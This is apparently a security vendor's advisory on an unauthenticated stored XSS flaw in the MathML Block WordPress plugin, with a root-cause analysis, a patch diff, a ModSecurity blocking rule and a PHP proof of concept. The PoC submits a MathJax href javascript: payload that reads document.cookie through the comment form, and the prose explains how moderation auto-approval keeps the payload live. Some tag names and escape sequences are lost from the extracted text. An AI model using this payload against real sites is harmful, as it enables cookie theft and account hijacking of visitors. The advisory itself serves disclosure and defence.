Published : December 3, 2026

CVE-2026-137004: MathML Block <= 1.2.4 Unauthenticated Stored DOM-Based Cross-Site Scripting via Comment Field PoC, Patch Analysis & Rule

Plugin mathml-block
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.2.4
Patched Version 1.3.0
Disclosed November 30, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-137004: This is an unauthenticated stored DOM-based cross-site scripting vulnerability in the MathML Block WordPress plugin, affecting all versions up to and including 1.2.4. The flaw resides in the plugin’s handling of the WordPress comment field, where insufficient input sanitization and output escaping allows an attacker to inject arbitrary JavaScript that executes when a victim views a page containing the malicious comment. The CVSS score is 7.2 (High).

Root Cause: The vulnerability stems from two related code paths. First, the plugin registers the ‘mathml’ tag as globally allowed via the `enable_mathml_in_wp_kses` function (mathml-block.php, originally line 219), which hooks into `wp_kses_allowed_html` without a context check. This permits the “ tag to survive KSES filtering in comments, even though comments should not allow it. Second, the `filter_content` function (mathml-block.php, line 207 in patched) uses a greedy regex `#(?P)(?P.+)(?P)#s` to replace `…` tags with MathJax delimiters. The greedy `.+` matches across multiple tags, enabling an attacker to craft a comment that includes a “ tag containing malicious HTML, which the regex then transforms into MathJax delimiters that MathJax processes. MathJax, without the Safe extension, allows TeX commands like `href{javascript:alert(1)}{x}` or `style{…}` to generate arbitrary JavaScript links and styles. The patch addresses these by: (1) restricting `enable_mathml_in_wp_kses` to only allow `mathml` in the ‘post’ context, (2) forcing the MathJax Safe extension to be loaded, and (3) making the regex non-greedy (`+?`) to prevent cross-tag matching.

Exploitation: An unauthenticated attacker submits a comment to a post that contains the MathML block. The comment payload includes a “ tag with a formula that leverages MathJax TeX injection, such as `href{javascript:alert(document.cookie)}{click}` or a style injection. Because the plugin’s KSES filter allows the `mathml` tag in comments and the `filter_content` regex (greedy) matches the tag, the payload is transformed into MathJax delimiters (e.g., `(…)`). When a victim views the post, MathJax processes the delimiters and executes the injected JavaScript. The attacker must first get one comment approved by a moderator; thereafter, WordPress’s `comment_previously_approved` behavior auto-approves subsequent comments from the same visitor, making the payload live without further moderation. The attack endpoint is the standard WordPress comment submission form (e.g., `POST /wp-comments-post.php`) with the `comment` parameter containing the payload.

Patch Analysis: The patch (version 1.3.0) introduces several fixes. It adds an ABSPATH check to prevent direct file access. It forces the MathJax Safe extension to be loaded by appending ‘Safe’ to the config string if not present, which disables dangerous TeX commands like `href` and `style`. It changes the regex in `filter_content` from greedy `.+` to non-greedy `.+?`, preventing the tag from spanning multiple HTML elements. Most critically, it modifies `enable_mathml_in_wp_kses` to accept a `$context` parameter and only allow the `mathml` tag when `$context === ‘post’`, thereby blocking the tag in comments and other contexts. The filter is updated to pass two arguments. Before the patch, the `mathml` tag was allowed in all KSES contexts including comments; after the patch, it is restricted to post content only.

Impact: Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the context of a victim’s browser session when they view an infected page. This can lead to session hijacking, theft of cookies or authentication tokens, defacement, redirect to malicious sites, or actions performed on behalf of the victim (e.g., creating admin users if the victim is an administrator). The stored nature means the payload persists and affects all visitors to the page.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/mathml-block/mathml-block.php
+++ b/mathml-block/mathml-block.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name:       MathML block
  * Description:       Display MathML formulas.
- * Version:           1.2.4
+ * Version:           1.3.0
  * Requires at least: 5.0
  * Tested up to:      7.2
  * Requires PHP:      5.6
@@ -20,6 +20,10 @@
 use WP_Block_Type_Registry;
 use WP_Scripts;

+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
 const BLOCK_NAME = 'mathml/mathmlblock';

 const MATHJAX_SCRIPT_HANDLE = 'mathjax';
@@ -53,6 +57,17 @@
 	 */
 	$config_string = apply_filters( 'mathml_block_mathjax_config', 'TeX-MML-AM_CHTML' );

+	/*
+	 * Always load the Safe extension. MathJax typesets every delimited formula
+	 * on the page, including text from untrusted authors and commenters, and
+	 * without it TeX can create `javascript:` links and arbitrary styles.
+	 */
+	$config_files = array_filter( array_map( 'trim', explode( ',', (string) $config_string ) ) );
+	if ( ! in_array( 'Safe', $config_files, true ) ) {
+		$config_files[] = 'Safe';
+	}
+	$config_string = implode( ',', $config_files );
+
 	$src = add_query_arg(
 		array(
 			'config' => rawurlencode( $config_string )
@@ -192,7 +207,7 @@
  */
 function filter_content( $content ) {
 	return preg_replace_callback(
-		'#(?P<start_tag><mathml>)(?P<formula>.+)(?P<end_tag></mathml>)#s',
+		'#(?P<start_tag><mathml>)(?P<formula>.+?)(?P<end_tag></mathml>)#s',
 		static function ( $matches ) {
 			if ( is_amp() ) {
 				return sprintf(
@@ -212,9 +227,19 @@

 /**
  * Enable the mathml inline tag for users without the unfiltered_html capability.
+ *
+ * Limited to post content, so the tag is not let through comments or the
+ * explicit allow lists other code passes to wp_kses().
+ *
+ * @param array        $allowed_tags Allowed tags.
+ * @param string|array $context      Context the tags are allowed in.
+ *
+ * @return array Allowed tags.
  */
-function enable_mathml_in_wp_kses( $allowed_tags ) {
-	$allowed_tags[ 'mathml' ] = array();
+function enable_mathml_in_wp_kses( $allowed_tags, $context = '' ) {
+	if ( 'post' === $context && is_array( $allowed_tags ) ) {
+		$allowed_tags['mathml'] = array();
+	}
 	return $allowed_tags;
 }
-add_filter( 'wp_kses_allowed_html', __NAMESPACE__ . 'enable_mathml_in_wp_kses' );
+add_filter( 'wp_kses_allowed_html', __NAMESPACE__ . 'enable_mathml_in_wp_kses', 10, 2 );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-137004
# Block MathML-based XSS in comment submissions targeting WordPress comment form.
# The attack uses the 'comment' parameter in POST to /wp-comments-post.php
# with a payload containing <mathml> and dangerous MathJax TeX commands.

SecRule REQUEST_URI "@streq /wp-comments-post.php" 
    "id:137004,phase:2,deny,status:403,chain,msg:'CVE-2026-137004 MathML Block XSS via comment',severity:'CRITICAL',tag:'CVE-2026-137004'"
    SecRule ARGS_POST:comment "@rx <mathml[^>]*>" 
        "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,chain"
        SecRule ARGS_POST:comment "@rx (href|style|javascript:)" 
            "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-137004 - MathML Block <= 1.2.4 - Unauthenticated Stored DOM-Based XSS via Comment Field

$target_url = 'http://example.com'; // WordPress site URL

// Step 1: Craft the malicious comment payload.
// The payload uses a <mathml> tag containing a MathJax TeX injection via href.
// The greedy regex in the plugin will match from <mathml> to </mathml> and convert to MathJax delimiters.
$payload = '<mathml>\href{javascript:alert(document.cookie)}{click}</mathml>';

// Step 2: Prepare comment submission data.
$comment_data = array(
    'comment_post_ID' => 1, // Replace with a post ID that contains the MathML block
    'author' => 'attacker',
    'email' => 'attacker@example.com',
    'url' => '',
    'comment' => $payload,
    'submit' => 'Post Comment'
);

// Step 3: Send the comment via cURL.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($comment_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Comment submission HTTP code: $http_coden";
echo "Response length: " . strlen($response) . "n";

// Step 4: The attacker must wait for moderator approval of the first comment.
// After approval, subsequent comments from the same author/email are auto-approved
// due to WordPress's comment_previously_approved behavior.
// The payload will execute when a victim views the post containing the comment.

echo "PoC completed. Check if comment was submitted successfully.n";
echo "Remember: First comment requires moderator approval, then subsequent comments auto-approve.n";

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.